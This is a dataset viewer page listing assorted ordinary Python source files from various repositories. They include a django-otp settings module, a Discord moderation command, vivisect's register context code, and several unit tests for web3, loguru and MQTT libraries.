Datasets:

JanSchTech

/

processed-starcoderdata-test

like 0

lmctl/project/mutate/base.py

manojn97/lmctl

13500

import abc class Mutator(abc.ABC): def apply(self, original_content): return original_content

import abc class Mutator(abc.ABC): def apply(self, original_content): return original_content

none

src/django_otp/conf.py

jaap3/django-otp

13501

<filename>src/django_otp/conf.py import django.conf class Settings: """ This is a simple class to take the place of the global settings object. An instance will contain all of our settings as attributes, with default values if they are not specified by the configuration. """ defaults = { 'OTP_LOGIN_URL': django.conf.settings.LOGIN_URL, 'OTP_ADMIN_HIDE_SENSITIVE_DATA': False, } def __getattr__(self, name): if name in self.defaults: return getattr(django.conf.settings, name, self.defaults[name]) else: return getattr(django.conf.settings, name) settings = Settings()

<filename>src/django_otp/conf.py import django.conf class Settings: """ This is a simple class to take the place of the global settings object. An instance will contain all of our settings as attributes, with default values if they are not specified by the configuration. """ defaults = { 'OTP_LOGIN_URL': django.conf.settings.LOGIN_URL, 'OTP_ADMIN_HIDE_SENSITIVE_DATA': False, } def __getattr__(self, name): if name in self.defaults: return getattr(django.conf.settings, name, self.defaults[name]) else: return getattr(django.conf.settings, name) settings = Settings()

pt

Moderation/purge.py

DevFlock/Multis

13502

import asyncio import discord from discord.ext import commands from discord.ext.commands.core import has_permissions class cog(commands.Cog): def __init__(self, client): self.client = client @commands.command(aliases=["clear"]) @has_permissions(ban_members=True) async def purge(self, ctx, count): await ctx.channel.purge(limit=count+1) message = await ctx.send(f"Deleted {count} messages.") asyncio.sleep(2) await message.delete() def setup(client): client.add_cog(cog(client))

import asyncio import discord from discord.ext import commands from discord.ext.commands.core import has_permissions class cog(commands.Cog): def __init__(self, client): self.client = client @commands.command(aliases=["clear"]) @has_permissions(ban_members=True) async def purge(self, ctx, count): await ctx.channel.purge(limit=count+1) message = await ctx.send(f"Deleted {count} messages.") asyncio.sleep(2) await message.delete() def setup(client): client.add_cog(cog(client))

none

tensorboard/acceptance/__init__.py

DeepLearnI/atlas

13503

from .test_tensorboard_rest_api import TestTensorboardRestAPI from .test_tensorboard_server import TestTensorboardServer from .test_tensorboard_endpoints import TestTensorboardEndpoint

from .test_tensorboard_rest_api import TestTensorboardRestAPI from .test_tensorboard_server import TestTensorboardServer from .test_tensorboard_endpoints import TestTensorboardEndpoint

none

tests/store/test_fetch_purchases_to_ship.py

yuzi-ziyu/alphasea-agent

13504

from unittest import TestCase from ..helpers import ( create_web3, create_contract, get_future_execution_start_at_timestamp, proceed_time, get_prediction_time_shift, get_purchase_time_shift, get_shipping_time_shift, get_publication_time_shift, get_tournament_id, get_chain_id, create_store, generate_redis_namespace, BaseHardhatTestCase ) from src.web3 import get_account_address execution_start_at = get_future_execution_start_at_timestamp() content = 'abc'.encode() model_id = 'model1' model_id_other = 'model_other' class TestStoreFetchPurchasesToShip(BaseHardhatTestCase): def setUp(self): super().setUp() w3 = create_web3() contract = create_contract(w3) store = create_store(w3, contract) self.store = store self.w3 = w3 w3_other = create_web3(account_index=1) contract_other = create_contract(w3_other) store_other = create_store(w3_other, contract_other) w3_purchaser = create_web3(account_index=2) contract_purchaser = create_contract(w3_purchaser) store_purchaser = create_store(w3_purchaser, contract_purchaser) self.store_purchaser = store_purchaser self.w3_purchaser = w3_purchaser # predict proceed_time(w3, execution_start_at + get_prediction_time_shift()) store.create_models_if_not_exist([dict( model_id=model_id, tournament_id=get_tournament_id(), prediction_license='CC0-1.0', )]) store.create_predictions([dict( model_id=model_id, execution_start_at=execution_start_at, content=content, price=1, )]) # other predict store_other.create_models_if_not_exist([dict( model_id=model_id_other, tournament_id=get_tournament_id(), prediction_license='CC0-1.0', )]) store_other.create_predictions([dict( model_id=model_id_other, execution_start_at=execution_start_at, content=content, price=1, )]) # purchase proceed_time(w3, execution_start_at + get_purchase_time_shift()) store_purchaser.create_purchases([dict( model_id=model_id, execution_start_at=execution_start_at, ), dict( model_id=model_id_other, execution_start_at=execution_start_at, )]) def test_ok(self): purchases = self.store.fetch_purchases_to_ship( tournament_id=get_tournament_id(), execution_start_at=execution_start_at ) self.assertEqual(purchases, [{ **purchases[0], 'model_id': model_id, 'execution_start_at': execution_start_at, 'purchaser': get_account_address(self.w3_purchaser.eth.default_account), }]) def test_different_tournament_id(self): purchases = self.store.fetch_purchases_to_ship( tournament_id='different', execution_start_at=execution_start_at ) self.assertEqual(purchases, []) def test_different_execution_start_at(self): purchases = self.store.fetch_purchases_to_ship( tournament_id=get_tournament_id(), execution_start_at=execution_start_at + 1, ) self.assertEqual(purchases, []) def test_already_shipped(self): store = self.store # ship proceed_time(self.w3, execution_start_at + get_shipping_time_shift()) store.ship_purchases([dict( model_id=model_id, execution_start_at=execution_start_at, purchaser=get_account_address(self.w3_purchaser.eth.default_account), )]) purchases = store.fetch_purchases_to_ship( tournament_id=get_tournament_id(), execution_start_at=execution_start_at, ) self.assertEqual(purchases, [])

from unittest import TestCase from ..helpers import ( create_web3, create_contract, get_future_execution_start_at_timestamp, proceed_time, get_prediction_time_shift, get_purchase_time_shift, get_shipping_time_shift, get_publication_time_shift, get_tournament_id, get_chain_id, create_store, generate_redis_namespace, BaseHardhatTestCase ) from src.web3 import get_account_address execution_start_at = get_future_execution_start_at_timestamp() content = 'abc'.encode() model_id = 'model1' model_id_other = 'model_other' class TestStoreFetchPurchasesToShip(BaseHardhatTestCase): def setUp(self): super().setUp() w3 = create_web3() contract = create_contract(w3) store = create_store(w3, contract) self.store = store self.w3 = w3 w3_other = create_web3(account_index=1) contract_other = create_contract(w3_other) store_other = create_store(w3_other, contract_other) w3_purchaser = create_web3(account_index=2) contract_purchaser = create_contract(w3_purchaser) store_purchaser = create_store(w3_purchaser, contract_purchaser) self.store_purchaser = store_purchaser self.w3_purchaser = w3_purchaser # predict proceed_time(w3, execution_start_at + get_prediction_time_shift()) store.create_models_if_not_exist([dict( model_id=model_id, tournament_id=get_tournament_id(), prediction_license='CC0-1.0', )]) store.create_predictions([dict( model_id=model_id, execution_start_at=execution_start_at, content=content, price=1, )]) # other predict store_other.create_models_if_not_exist([dict( model_id=model_id_other, tournament_id=get_tournament_id(), prediction_license='CC0-1.0', )]) store_other.create_predictions([dict( model_id=model_id_other, execution_start_at=execution_start_at, content=content, price=1, )]) # purchase proceed_time(w3, execution_start_at + get_purchase_time_shift()) store_purchaser.create_purchases([dict( model_id=model_id, execution_start_at=execution_start_at, ), dict( model_id=model_id_other, execution_start_at=execution_start_at, )]) def test_ok(self): purchases = self.store.fetch_purchases_to_ship( tournament_id=get_tournament_id(), execution_start_at=execution_start_at ) self.assertEqual(purchases, [{ **purchases[0], 'model_id': model_id, 'execution_start_at': execution_start_at, 'purchaser': get_account_address(self.w3_purchaser.eth.default_account), }]) def test_different_tournament_id(self): purchases = self.store.fetch_purchases_to_ship( tournament_id='different', execution_start_at=execution_start_at ) self.assertEqual(purchases, []) def test_different_execution_start_at(self): purchases = self.store.fetch_purchases_to_ship( tournament_id=get_tournament_id(), execution_start_at=execution_start_at + 1, ) self.assertEqual(purchases, []) def test_already_shipped(self): store = self.store # ship proceed_time(self.w3, execution_start_at + get_shipping_time_shift()) store.ship_purchases([dict( model_id=model_id, execution_start_at=execution_start_at, purchaser=get_account_address(self.w3_purchaser.eth.default_account), )]) purchases = store.fetch_purchases_to_ship( tournament_id=get_tournament_id(), execution_start_at=execution_start_at, ) self.assertEqual(purchases, [])

it

tests/test_add_option_backtrace.py

ponponon/loguru

13505

<reponame>ponponon/loguru<gh_stars>1000+ from loguru import logger # See "test_catch_exceptions.py" for extended testing def test_backtrace(writer): logger.add(writer, format="{message}", backtrace=True) try: 1 / 0 except Exception: logger.exception("") result_with = writer.read().strip() logger.remove() writer.clear() logger.add(writer, format="{message}", backtrace=False) try: 1 / 0 except Exception: logger.exception("") result_without = writer.read().strip() assert len(result_with.splitlines()) > len(result_without.splitlines())

from loguru import logger # See "test_catch_exceptions.py" for extended testing def test_backtrace(writer): logger.add(writer, format="{message}", backtrace=True) try: 1 / 0 except Exception: logger.exception("") result_with = writer.read().strip() logger.remove() writer.clear() logger.add(writer, format="{message}", backtrace=False) try: 1 / 0 except Exception: logger.exception("") result_without = writer.read().strip() assert len(result_with.splitlines()) > len(result_without.splitlines())

it

BasicPythonPrograms/PythonDestructor.py

Pushkar745/PythonProgramming

13506

<reponame>Pushkar745/PythonProgramming<gh_stars>0 class Employee: #Initializaing def __init__(self): print('Employee created ') #Deleting (Calling destructor) def __del__(self): print('Destructor called,Employee deleted') obj=Employee() del obj

class Employee: #Initializaing def __init__(self): print('Employee created ') #Deleting (Calling destructor) def __del__(self): print('Destructor called,Employee deleted') obj=Employee() del obj

it

envi/registers.py

ConfusedMoonbear/vivisect

13507

<reponame>ConfusedMoonbear/vivisect """ Similar to the memory subsystem, this is a unified way to access information about objects which contain registers """ import envi.bits as e_bits from envi.const import * class InvalidRegisterName(Exception): pass class RegisterContext: def __init__(self, regdef=(), metas=(), pcindex=None, spindex=None, srindex=None): """ Hand in a register definition which consists of a list of (<name>, <width>) tuples. """ self.loadRegDef(regdef) self.loadRegMetas(metas) self.setRegisterIndexes(pcindex, spindex, srindex=srindex) self._rctx_dirty = False def getRegisterSnap(self): """ Use this to bulk save off the register state. """ return list(self._rctx_vals) def setRegisterSnap(self, snap): """ Use this to bulk restore the register state. NOTE: This may only be used under the assumption that the RegisterContext has been initialized the same way (like context switches in tracers, or emulaction snaps) """ self._rctx_vals = list(snap) def isDirty(self): """ Returns true if registers in this context have been modififed since their import. """ return self._rctx_dirty def setIsDirty(self, bool): self._rctx_dirty = bool def setRegisterIndexes(self, pcindex, spindex, srindex=None): self._rctx_pcindex = pcindex self._rctx_spindex = spindex self._rctx_srindex = srindex def loadRegDef(self, regdef, defval=0): """ Load a register definition. A register definition consists of a list of tuples with the following format: (regname, regwidth) NOTE: All widths in envi RegisterContexts are in bits. """ self._rctx_regdef = regdef # Save this for snaps etc.. self._rctx_names = {} self._rctx_ids = {} self._rctx_widths = [] self._rctx_vals = [] self._rctx_masks = [] for i, (name, width) in enumerate(regdef): self._rctx_names[name] = i self._rctx_ids[i] = name self._rctx_widths.append(width) self._rctx_masks.append((2**width)-1) self._rctx_vals.append(defval) def getRegDef(self): return self._rctx_regdef def loadRegMetas(self, metas, statmetas=None): """ Load a set of defined "meta" registers for this architecture. Meta registers are defined as registers who exist as a subset of the bits in some other "real" register. The argument metas is a list of tuples with the following format: (regname, regidx, reg_shift_offset, reg_width) The given example is for the AX register in the i386 subsystem regname: "ax" reg_shift_offset: 0 reg_width: 16 Optionally a set of status meta registers can be loaded as well. The argument is a list of tuples with the following format: (regname, regidx, reg_shift_offset, reg_width, description) """ self._rctx_regmetas = metas for name, idx, offset, width in metas: self.addMetaRegister(name, idx, offset, width) self._rctx_statmetas = statmetas def addMetaRegister(self, name, idx, offset, width): """ Meta registers are registers which are really just directly addressable parts of already existing registers (eax -> al). To add a meta register, you give the name, the idx of the *real* register, the width of the meta reg, and it's left shifted (in bits) offset into the real register value. The RegisterContext will take care of accesses after that. """ newidx = (offset << 24) + (width << 16) + idx self._rctx_names[name] = newidx self._rctx_ids[newidx] = name def isMetaRegister(self, index): return (index & 0xffff) != index def _rctx_Import(self, sobj): """ Given an object with attributes with the same names as registers in our context, populate our values from it. NOTE: This also clears the dirty flag """ # On import from a structure, we are clean again. self._rctx_dirty = False for name,idx in self._rctx_names.items(): # Skip meta registers if (idx & 0xffff) != idx: continue x = getattr(sobj, name, None) if x != None: self._rctx_vals[idx] = x def _rctx_Export(self, sobj): """ Given an object with attributes with the same names as registers in our context, set the ones he has to match our values. """ for name,idx in self._rctx_names.items(): # Skip meta registers if (idx & 0xffff) != idx: continue if hasattr(sobj, name): setattr(sobj, name, self._rctx_vals[idx]) def getRegisterInfo(self, meta=False): """ Return an object which can be stored off, and restored to re-initialize a register context. (much like snapshot but it takes the definitions with it) """ regdef = self._rctx_regdef regmeta = self._rctx_regmetas pcindex = self._rctx_pcindex spindex = self._rctx_spindex snap = self.getRegisterSnap() return (regdef, regmeta, pcindex, spindex, snap) def setRegisterInfo(self, info): regdef, regmeta, pcindex, spindex, snap = info self.loadRegDef(regdef) self.loadRegMetas(regmeta) self.setRegisterIndexes(pcindex, spindex) self.setRegisterSnap(snap) def getRegisterName(self, index): return self._rctx_ids.get(index,"REG%.8x" % index) def getProgramCounter(self): """ Get the value of the program counter for this register context. """ return self.getRegister(self._rctx_pcindex) def setProgramCounter(self, value): """ Set the value of the program counter for this register context. """ self.setRegister(self._rctx_pcindex, value) def getStackCounter(self): return self.getRegister(self._rctx_spindex) def setStackCounter(self, value): self.setRegister(self._rctx_spindex, value) def hasStatusRegister(self): ''' Returns True if this context is aware of a status register. ''' if self._rctx_srindex == None: return False return True def getStatusRegNameDesc(self): ''' Return a list of status register names and descriptions. ''' return [(name, desc) for name, idx, offset, width, desc in self._rctx_statmetas] def getStatusRegister(self): ''' Gets the status register for this register context. ''' return self.getRegister(self._rctx_srindex) def setStatusRegister(self, value): ''' Sets the status register for this register context. ''' self.setRegister(self._rctx_srindex, value) def getStatusFlags(self): ''' Return a dictionary of reg name and reg value for the meta registers that are part of the status register. ''' ret = {} for name, idx, offset, width, desc in self._rctx_statmetas: ret[name] = self.getRegisterByName(name) return ret def getRegisterByName(self, name): idx = self._rctx_names.get(name) if idx == None: raise InvalidRegisterName("Unknown Register: %s" % name) return self.getRegister(idx) def setRegisterByName(self, name, value): idx = self._rctx_names.get(name) if idx == None: raise InvalidRegisterName("Unknown Register: %s" % name) self.setRegister(idx, value) def getRegisterNames(self): ''' Returns a list of the 'real' (non meta) registers. ''' regs = [rname for rname, ridx in self._rctx_names.items() if not self.isMetaRegister(ridx)] return regs def getRegisterNameIndexes(self): ''' Return a list of all the 'real' (non meta) registers and their indexes. Example: for regname, regidx in x.getRegisterNameIndexes(): ''' regs = [(rname, ridx) for rname, ridx in self._rctx_names.items() if not self.isMetaRegister(ridx)] return regs def getRegisters(self): """ Get all the *real* registers from this context as a dictionary of name value pairs. """ ret = {} for name,idx in self._rctx_names.items(): if (idx & 0xffff) != idx: continue ret[name] = self.getRegister(idx) return ret def setRegisters(self, regdict): """ For any name value pairs in the specified dictionary, set the current register values in this context. """ for name,value in regdict.items(): self.setRegisterByName(name, value) def getRegisterIndex(self, name): """ Get a register index by name. (faster to use the index multiple times) """ return self._rctx_names.get(name) def getRegisterWidth(self, index): """ Return the width of the register which lives at the specified index (width is always in bits). """ ridx = index & 0xffff if ridx == index: return self._rctx_widths[index] width = (index >> 16) & 0xff return width def getRegister(self, index): """ Return the current value of the specified register index. """ ridx = index & 0xffff value = self._rctx_vals[ridx] if ridx != index: value = self._xlateToMetaReg(index, value) return value def getMetaRegInfo(self, index): ''' Return the appropriate realreg, shift, mask info for the specified metareg idx (or None if it's not meta). Example: real_reg, lshift, mask = r.getMetaRegInfo(x) ''' ridx = index & 0xffff if ridx == index: return None offset = (index >> 24) & 0xff width = (index >> 16) & 0xff mask = (2**width)-1 return ridx, offset, mask def _xlateToMetaReg(self, index, value): ''' Translate a register value to the meta register value (used when getting a meta register) ''' ridx = index & 0xffff offset = (index >> 24) & 0xff width = (index >> 16) & 0xff mask = (2**width)-1 if offset != 0: value >>= offset return value & mask def _xlateToNativeReg(self, index, value): ''' Translate a register value to the native register value (used when setting a meta register) ''' ridx = index & 0xffff width = (index >> 16) & 0xff offset = (index >> 24) & 0xff # FIXME is it faster to generate or look these up? mask = (2 ** width) - 1 mask = mask << offset # NOTE: basewidth is in *bits* basewidth = self._rctx_widths[ridx] basemask = (2 ** basewidth) - 1 # cut a whole in basemask at the size/offset of mask finalmask = basemask ^ mask curval = self._rctx_vals[ridx] if offset: value <<= offset return value | (curval & finalmask) def setRegister(self, index, value): """ Set a register value by index. """ self._rctx_dirty = True ridx = index & 0xffff # If it's a meta register index, lets mask it into # the real thing... if ridx != index: value = self._xlateToNativeReg(index, value) self._rctx_vals[ridx] = (value & self._rctx_masks[ridx]) def getRealRegisterNameByIdx(self, regidx): """ Returns the Name of the Containing register (in the case of meta-registers) or the name of the register. (by Index) """ return self.getRegisterName(regidx& RMETA_NMASK) def getRealRegisterName(self, regname): """ Returns the Name of the Containing register (in the case of meta-registers) or the name of the register. """ ridx = self.getRegisterIndex(regname) if ridx != None: return self.getRegisterName(ridx & RMETA_NMASK) return regname def addLocalEnums(l, regdef): """ Update a dictionary (or module locals) with REG_FOO index values for all the base registers defined in regdef. """ for i,(rname,width) in enumerate(regdef): l["REG_%s" % rname.upper()] = i def addLocalStatusMetas(l, metas, statmetas, regname): ''' Dynamically create data based on the status register meta register definition. Adds new meta registers and bitmask constants. ''' for metaname, idx, offset, width, desc in statmetas: # create meta registers metas.append( (metaname, idx, offset, width) ) # create local bitmask constants (EFLAGS_%) l['%s_%s' % (regname, metaname)] = 1 << offset # TODO: fix for arbitrary width def addLocalMetas(l, metas): """ Update a dictionary (or module locals) with REG_FOO index values for all meta registers defined in metas. """ for name, idx, offset, width in metas: l["REG_%s" % name.upper()] = (offset << 24) | (width << 16) | idx

""" Similar to the memory subsystem, this is a unified way to access information about objects which contain registers """ import envi.bits as e_bits from envi.const import * class InvalidRegisterName(Exception): pass class RegisterContext: def __init__(self, regdef=(), metas=(), pcindex=None, spindex=None, srindex=None): """ Hand in a register definition which consists of a list of (<name>, <width>) tuples. """ self.loadRegDef(regdef) self.loadRegMetas(metas) self.setRegisterIndexes(pcindex, spindex, srindex=srindex) self._rctx_dirty = False def getRegisterSnap(self): """ Use this to bulk save off the register state. """ return list(self._rctx_vals) def setRegisterSnap(self, snap): """ Use this to bulk restore the register state. NOTE: This may only be used under the assumption that the RegisterContext has been initialized the same way (like context switches in tracers, or emulaction snaps) """ self._rctx_vals = list(snap) def isDirty(self): """ Returns true if registers in this context have been modififed since their import. """ return self._rctx_dirty def setIsDirty(self, bool): self._rctx_dirty = bool def setRegisterIndexes(self, pcindex, spindex, srindex=None): self._rctx_pcindex = pcindex self._rctx_spindex = spindex self._rctx_srindex = srindex def loadRegDef(self, regdef, defval=0): """ Load a register definition. A register definition consists of a list of tuples with the following format: (regname, regwidth) NOTE: All widths in envi RegisterContexts are in bits. """ self._rctx_regdef = regdef # Save this for snaps etc.. self._rctx_names = {} self._rctx_ids = {} self._rctx_widths = [] self._rctx_vals = [] self._rctx_masks = [] for i, (name, width) in enumerate(regdef): self._rctx_names[name] = i self._rctx_ids[i] = name self._rctx_widths.append(width) self._rctx_masks.append((2**width)-1) self._rctx_vals.append(defval) def getRegDef(self): return self._rctx_regdef def loadRegMetas(self, metas, statmetas=None): """ Load a set of defined "meta" registers for this architecture. Meta registers are defined as registers who exist as a subset of the bits in some other "real" register. The argument metas is a list of tuples with the following format: (regname, regidx, reg_shift_offset, reg_width) The given example is for the AX register in the i386 subsystem regname: "ax" reg_shift_offset: 0 reg_width: 16 Optionally a set of status meta registers can be loaded as well. The argument is a list of tuples with the following format: (regname, regidx, reg_shift_offset, reg_width, description) """ self._rctx_regmetas = metas for name, idx, offset, width in metas: self.addMetaRegister(name, idx, offset, width) self._rctx_statmetas = statmetas def addMetaRegister(self, name, idx, offset, width): """ Meta registers are registers which are really just directly addressable parts of already existing registers (eax -> al). To add a meta register, you give the name, the idx of the *real* register, the width of the meta reg, and it's left shifted (in bits) offset into the real register value. The RegisterContext will take care of accesses after that. """ newidx = (offset << 24) + (width << 16) + idx self._rctx_names[name] = newidx self._rctx_ids[newidx] = name def isMetaRegister(self, index): return (index & 0xffff) != index def _rctx_Import(self, sobj): """ Given an object with attributes with the same names as registers in our context, populate our values from it. NOTE: This also clears the dirty flag """ # On import from a structure, we are clean again. self._rctx_dirty = False for name,idx in self._rctx_names.items(): # Skip meta registers if (idx & 0xffff) != idx: continue x = getattr(sobj, name, None) if x != None: self._rctx_vals[idx] = x def _rctx_Export(self, sobj): """ Given an object with attributes with the same names as registers in our context, set the ones he has to match our values. """ for name,idx in self._rctx_names.items(): # Skip meta registers if (idx & 0xffff) != idx: continue if hasattr(sobj, name): setattr(sobj, name, self._rctx_vals[idx]) def getRegisterInfo(self, meta=False): """ Return an object which can be stored off, and restored to re-initialize a register context. (much like snapshot but it takes the definitions with it) """ regdef = self._rctx_regdef regmeta = self._rctx_regmetas pcindex = self._rctx_pcindex spindex = self._rctx_spindex snap = self.getRegisterSnap() return (regdef, regmeta, pcindex, spindex, snap) def setRegisterInfo(self, info): regdef, regmeta, pcindex, spindex, snap = info self.loadRegDef(regdef) self.loadRegMetas(regmeta) self.setRegisterIndexes(pcindex, spindex) self.setRegisterSnap(snap) def getRegisterName(self, index): return self._rctx_ids.get(index,"REG%.8x" % index) def getProgramCounter(self): """ Get the value of the program counter for this register context. """ return self.getRegister(self._rctx_pcindex) def setProgramCounter(self, value): """ Set the value of the program counter for this register context. """ self.setRegister(self._rctx_pcindex, value) def getStackCounter(self): return self.getRegister(self._rctx_spindex) def setStackCounter(self, value): self.setRegister(self._rctx_spindex, value) def hasStatusRegister(self): ''' Returns True if this context is aware of a status register. ''' if self._rctx_srindex == None: return False return True def getStatusRegNameDesc(self): ''' Return a list of status register names and descriptions. ''' return [(name, desc) for name, idx, offset, width, desc in self._rctx_statmetas] def getStatusRegister(self): ''' Gets the status register for this register context. ''' return self.getRegister(self._rctx_srindex) def setStatusRegister(self, value): ''' Sets the status register for this register context. ''' self.setRegister(self._rctx_srindex, value) def getStatusFlags(self): ''' Return a dictionary of reg name and reg value for the meta registers that are part of the status register. ''' ret = {} for name, idx, offset, width, desc in self._rctx_statmetas: ret[name] = self.getRegisterByName(name) return ret def getRegisterByName(self, name): idx = self._rctx_names.get(name) if idx == None: raise InvalidRegisterName("Unknown Register: %s" % name) return self.getRegister(idx) def setRegisterByName(self, name, value): idx = self._rctx_names.get(name) if idx == None: raise InvalidRegisterName("Unknown Register: %s" % name) self.setRegister(idx, value) def getRegisterNames(self): ''' Returns a list of the 'real' (non meta) registers. ''' regs = [rname for rname, ridx in self._rctx_names.items() if not self.isMetaRegister(ridx)] return regs def getRegisterNameIndexes(self): ''' Return a list of all the 'real' (non meta) registers and their indexes. Example: for regname, regidx in x.getRegisterNameIndexes(): ''' regs = [(rname, ridx) for rname, ridx in self._rctx_names.items() if not self.isMetaRegister(ridx)] return regs def getRegisters(self): """ Get all the *real* registers from this context as a dictionary of name value pairs. """ ret = {} for name,idx in self._rctx_names.items(): if (idx & 0xffff) != idx: continue ret[name] = self.getRegister(idx) return ret def setRegisters(self, regdict): """ For any name value pairs in the specified dictionary, set the current register values in this context. """ for name,value in regdict.items(): self.setRegisterByName(name, value) def getRegisterIndex(self, name): """ Get a register index by name. (faster to use the index multiple times) """ return self._rctx_names.get(name) def getRegisterWidth(self, index): """ Return the width of the register which lives at the specified index (width is always in bits). """ ridx = index & 0xffff if ridx == index: return self._rctx_widths[index] width = (index >> 16) & 0xff return width def getRegister(self, index): """ Return the current value of the specified register index. """ ridx = index & 0xffff value = self._rctx_vals[ridx] if ridx != index: value = self._xlateToMetaReg(index, value) return value def getMetaRegInfo(self, index): ''' Return the appropriate realreg, shift, mask info for the specified metareg idx (or None if it's not meta). Example: real_reg, lshift, mask = r.getMetaRegInfo(x) ''' ridx = index & 0xffff if ridx == index: return None offset = (index >> 24) & 0xff width = (index >> 16) & 0xff mask = (2**width)-1 return ridx, offset, mask def _xlateToMetaReg(self, index, value): ''' Translate a register value to the meta register value (used when getting a meta register) ''' ridx = index & 0xffff offset = (index >> 24) & 0xff width = (index >> 16) & 0xff mask = (2**width)-1 if offset != 0: value >>= offset return value & mask def _xlateToNativeReg(self, index, value): ''' Translate a register value to the native register value (used when setting a meta register) ''' ridx = index & 0xffff width = (index >> 16) & 0xff offset = (index >> 24) & 0xff # FIXME is it faster to generate or look these up? mask = (2 ** width) - 1 mask = mask << offset # NOTE: basewidth is in *bits* basewidth = self._rctx_widths[ridx] basemask = (2 ** basewidth) - 1 # cut a whole in basemask at the size/offset of mask finalmask = basemask ^ mask curval = self._rctx_vals[ridx] if offset: value <<= offset return value | (curval & finalmask) def setRegister(self, index, value): """ Set a register value by index. """ self._rctx_dirty = True ridx = index & 0xffff # If it's a meta register index, lets mask it into # the real thing... if ridx != index: value = self._xlateToNativeReg(index, value) self._rctx_vals[ridx] = (value & self._rctx_masks[ridx]) def getRealRegisterNameByIdx(self, regidx): """ Returns the Name of the Containing register (in the case of meta-registers) or the name of the register. (by Index) """ return self.getRegisterName(regidx& RMETA_NMASK) def getRealRegisterName(self, regname): """ Returns the Name of the Containing register (in the case of meta-registers) or the name of the register. """ ridx = self.getRegisterIndex(regname) if ridx != None: return self.getRegisterName(ridx & RMETA_NMASK) return regname def addLocalEnums(l, regdef): """ Update a dictionary (or module locals) with REG_FOO index values for all the base registers defined in regdef. """ for i,(rname,width) in enumerate(regdef): l["REG_%s" % rname.upper()] = i def addLocalStatusMetas(l, metas, statmetas, regname): ''' Dynamically create data based on the status register meta register definition. Adds new meta registers and bitmask constants. ''' for metaname, idx, offset, width, desc in statmetas: # create meta registers metas.append( (metaname, idx, offset, width) ) # create local bitmask constants (EFLAGS_%) l['%s_%s' % (regname, metaname)] = 1 << offset # TODO: fix for arbitrary width def addLocalMetas(l, metas): """ Update a dictionary (or module locals) with REG_FOO index values for all meta registers defined in metas. """ for name, idx, offset, width in metas: l["REG_%s" % name.upper()] = (offset << 24) | (width << 16) | idx

pt

services/nris-api/backend/app/extensions.py

parc-jason/mds

13508

<reponame>parc-jason/mds from flask_caching import Cache from flask_jwt_oidc import JwtManager from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate, MigrateCommand from flask import current_app from elasticapm.contrib.flask import ElasticAPM from .config import Config from .helper import Api apm = ElasticAPM() db = SQLAlchemy() migrate = Migrate() jwt = JwtManager() cache = Cache() api = Api( prefix=f'{Config.BASE_PATH}', doc=f'{Config.BASE_PATH}/', default='nris_api', default_label='NRIS related operations')

from flask_caching import Cache from flask_jwt_oidc import JwtManager from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate, MigrateCommand from flask import current_app from elasticapm.contrib.flask import ElasticAPM from .config import Config from .helper import Api apm = ElasticAPM() db = SQLAlchemy() migrate = Migrate() jwt = JwtManager() cache = Cache() api = Api( prefix=f'{Config.BASE_PATH}', doc=f'{Config.BASE_PATH}/', default='nris_api', default_label='NRIS related operations')

none

tests/test_mqtt_async.py

mpi-sws-rse/antevents-python

13509

<gh_stars>1-10 # Copyright 2017 by MPI-SWS and Data-Ken Research. # Licensed under the Apache 2.0 License. """Test async version of mqtt libraries. Depends on hbmqtt (https://github.com/beerfactory/hbmqtt) """ import unittest import sys import asyncio import string from random import choice, seed from antevents.base import Scheduler, SensorPub, SensorEvent import antevents.linq.output import antevents.linq.combinators import antevents.linq.select from antevents.adapters.mqtt_async import QueueWriter, QueueReader from antevents.linq.transducer import PeriodicMedianTransducer from utils import ValueListSensor, ValidateAndStopSubscriber seed() try: import hbmqtt HBMQTT_AVAILABLE = True except ImportError: HBMQTT_AVAILABLE = False URL = "mqtt://localhost:1883" VALUES = [ 1.0, 2.5, 3.7, 4.1, 8.1, 0.5, 6.5, 4.5, 3.9, 6.5 ] EXPECTED = [ 2.5, 4.1, 4.5, 6.5 ] def msg_to_event(msg): return SensorEvent(sensor_id=msg[0], ts=msg[1], val=msg[2]) CHARS=string.ascii_letters+string.digits def get_topic_name(test_class): return test_class.__class__.__name__ + ''.join([ choice(CHARS) for i in range(5) ]) @unittest.skipUnless(HBMQTT_AVAILABLE, "HBMQTT library not installed for python at %s" % sys.executable) class TestCase(unittest.TestCase): def setUp(self): # Creating a new event loop each test case does not seem to work. # I think it is due to hbmqtt not cleaning up some state in the asyncio # layer. #self.loop = asyncio.new_event_loop() self.loop = asyncio.get_event_loop() self.sched = Scheduler(self.loop) def tearDown(self): pass #self.loop.stop() #self.loop.close() def test_client_only(self): SENSOR_ID='sensor-1' TOPIC=get_topic_name(self) sensor = SensorPub(ValueListSensor(SENSOR_ID, VALUES)) td = sensor.transduce(PeriodicMedianTransducer(period=3)) qw = QueueWriter(td, URL, TOPIC, self.sched) qw.output() self.sched.schedule_periodic(sensor, 0.5) self.sched.run_forever() self.assertFalse(qw.has_pending_requests(), "QueueWriter has pending requests: %s" % qw.dump_state()) print("test_client_only completed") def send_and_recv_body(self, sleep_timeout): SENSOR_ID='sensor-1' TOPIC=get_topic_name(self) sensor = SensorPub(ValueListSensor(SENSOR_ID, VALUES)) td = sensor.transduce(PeriodicMedianTransducer(period=3)) qw = QueueWriter(td, URL, TOPIC, self.sched) qw.output() qr = QueueReader(URL, TOPIC, self.sched, timeout=sleep_timeout) self.sched.schedule_periodic(sensor, 0.5) stop_qr = self.sched.schedule_on_main_event_loop(qr) vs = ValidateAndStopSubscriber(EXPECTED, self, stop_qr) qr.select(msg_to_event).subscribe(vs) self.sched.run_forever() self.assertFalse(qw.has_pending_requests(), "QueueWriter has pending requests: %s" % qw.dump_state()) self.assertEqual(qr.state, QueueReader.FINAL_STATE) self.assertEqual(vs.next_idx, len(EXPECTED)) print("send_and_recv_bod(%s) completed" % sleep_timeout) def test_short_timeout(self): self.send_and_recv_body(0.1) def test_long_timeout(self): self.send_and_recv_body(3.0) if __name__ == '__main__': unittest.main()

